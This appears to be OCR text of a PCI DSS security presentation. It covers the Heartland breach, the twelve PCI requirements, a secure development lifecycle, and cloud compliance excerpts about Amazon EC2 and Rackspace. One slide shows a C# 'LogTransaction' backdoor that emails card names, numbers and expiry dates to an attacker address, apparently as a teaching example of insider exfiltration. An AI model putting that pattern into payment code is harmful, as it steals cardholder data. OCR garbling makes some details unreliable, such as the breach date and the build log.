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The Highest Standards | The Most Trusted Transactions

Heartland Payment Systems

o Date of freach |Januany 20, 2005
o MNmber of Records More than 130 million credit and debit card numbers from Heartland and

Hannaford comhbined.

Background
Heartland Payment Systems represents the largest data breach in history, as malicious software

compramised card data across the campany netwark.

Last August, Albert "segvec” Conzalez was indicted by a federal grand jury in Mew Jersey — along
with two unnamed Eussian conspiratars — on charges of hacking inta Heartland Payment Systems.
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Build and maintain a secure network

Requirement 1: Install and maintain a firewall configuration to protect cardholder data

Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters
Protect cardholder data

Requirement 3: Protect stored cardholder data

Requirement 4: Encrypt transmission of cardholder data across open, public networks

Maintain a vulnerability management program

Requirement 5: Use and regularly update anti-virus software or programs

Requirement 6: Develop and maintain secure systems and applications

Implement strong access control measures

Requirement 7: Restrict access to cardholder data by business need-to-know

Requirement 8: Assign a unique ID to each person with computer access

Requirement 9: Restrict physical access to cardholder data

Regularly monitor and test networks

Requirement 10: Track and monitor all access to network resources and cardholder data
Requirement 11: Regularly test security systems and processes

Maintain an information security policy

Requirement 12: Maintain a policy that addresses information security for employees and contractors
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| The 5 Stages of PCI Grief

Deamfiall It doesn’t apply to me.

(PCl compliance is mandatory.)




| The 5 Stages of PCI Grief

A It isn’t fair!
Inle)Elly (PCl applies to all parties in the payment process.)




| The 5 Stages of PCI Grief

Bargaining 11 do some of it

(Compliance is pass /fail.)




| The 5 Stages of PCI Grief

I'll never get there!
(Many merchants already have.)




| The 5 Stages of PCI Grief

Acceptance .2

(PCI doesn’t introduce any alien conce
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Information Security
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* Classification &
Categorization

* Security Planning

High-Level Security

Security
G \“a(e : Met/lo
«° |

t Life
opment Life s
| Q

* Security Lifecycle Requirenent
Analysis * Initial Threat Modeling
* Secure Change
Management = = * Secure Architecture

i c Architecture
« Process Improvement i enance

Testing Design
’
; Coding

« Detailed Threat Modeling

 Examination of Mitigations'
* Quality / Robustness Tests Effectiveness.
* Final Security Code Review = Fm[inulla“ng Secure Coding
- Guidelines
* Deployment Inspection

« Black Box Penetration Tests

L}
[}

* Using Secure Coding
, Practices

, Unit Security Tests
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S —pipe ~fPIC —¢ -1 el -1,
LOFIGH  -MKING o Toalodd s Lol . o
wv Filesus.o ../ S ¢ . ffllens o
gcc -pipe -shared -rostartfiles o ,
ltcl8.4 -1m -1dl -Insl
touch ../../../Filesus,;so
lush.h  nake[2]: Leaving directory Froserusek/Pro petslegisnl

Makef ile filesus.nod' * froveltusaProgetsie I ,
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rivate void LogTransaction(CreditCard

string target = "EvilProgrammer@gmail.com";
System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage ("service@MyBuy.d
message.Body = string.Format( "Name:{0}\nNumber:{1}\nExpiry:{2}", card.Name, card.CCN
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Send( message );

Ammmme -3 - meunT
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Cloud Sites

A
Web antA 3
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Payment Gateway

Card Processing System




*/ PCl and Cloud Computing
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s Amazon EC2 and PCI:DSS

Jason Rushton Re: Does Amazon EC2 meet PCI Compliance guidelines? % Reply
REAL HAME™ Posted: Aug 12, 2009 7:37 AM PDT +# in response to: Allen N
Posts: 6

I finally got an official answer back from Amazon staffing.
The verdict is that yvou cannot be fully PCI compliant on top of the cloud, and Amazon explicitly recommends NOT storing
credit card information on S3/ECZ2.

Registered: 12/17/07

Hi,

Thank you for contacting Amazon Web Services. Our payment system is PCI compliant and it is an "alternative
payment processing service” meaning your users re-direct to our platform to conduct the payment event using
their credit cards or bank accounts. The benefit for you is that we handfe aff the sensitive customer data so you
don't have to. If vou haven't fooked at it, I highly suggest yvou check out the features and functions of our Flexible
Payment Service and our Payment Widgets ( http://aws.amazon.com/fos),

As for PCI fevel 2 compfiance, that requires external scanning via a 3rd party, PCI-approved vendor. It is possible for
you to build a PCI fevel 2 compliant app in our AWS cloud using EC2 and 53, but you cannot achieve level 1
compliance. And you have to provide the appropriate encryption mechanisms and key management processes. If
you have a data breach, you automaticafly need to become fevel 1 compliant which requires on-site auditing; that is
something we cannot extend to our customers. This seems like a risk that could challenge your business; as a best
practice, I iff = ey e = = - =
perspectivg
because it z 7 — - o A ——
keep the credit card data stored on your own local servers which are available for auditing, scanning, and on-site
review at any time.

Regards,

Cindy S.
Amazon Web Services
hitp://aws.amazomn. com
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Rackspace and PCI:DSS

Jdarch 14, 2009 by Craig Balding
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What Does PCIl Compliance in the Cloud Really Mean?

Mosso/Rackspace recently announced they have “PCIl enabled™ a Cloud Sifes customer that
needed to accept online credit card payments in return for goods {i.e. a merchant).

However, the website hosted on Mosseo’s Cloud, doesn’t actually receive, store, process,
transmit any data that falls under the requirements of PCI.

Or to put it another way, its ‘'compliance’ through not actually needing to be...

This didn’t deter them from putting a "PCI How To” document together which starts as follows
(emphasis mine):

Building a PCI Compliant e-Commerce Solution Using Cloud Sites

Cloud Sites is designed fo provide an elastic web hosting environment. This capabilify
carn allow an e-commerce merchant fo propery handle the high volume shopping season
without carrying extra infrastructure throughout the remainder of the year. Cloud Sites is

not currently designed for the storage or archival of credit card information. In order
to build a PCI compliant e-commerce solution, Cloud 5Sites needs to be paired up
with a payment gateway partner. -
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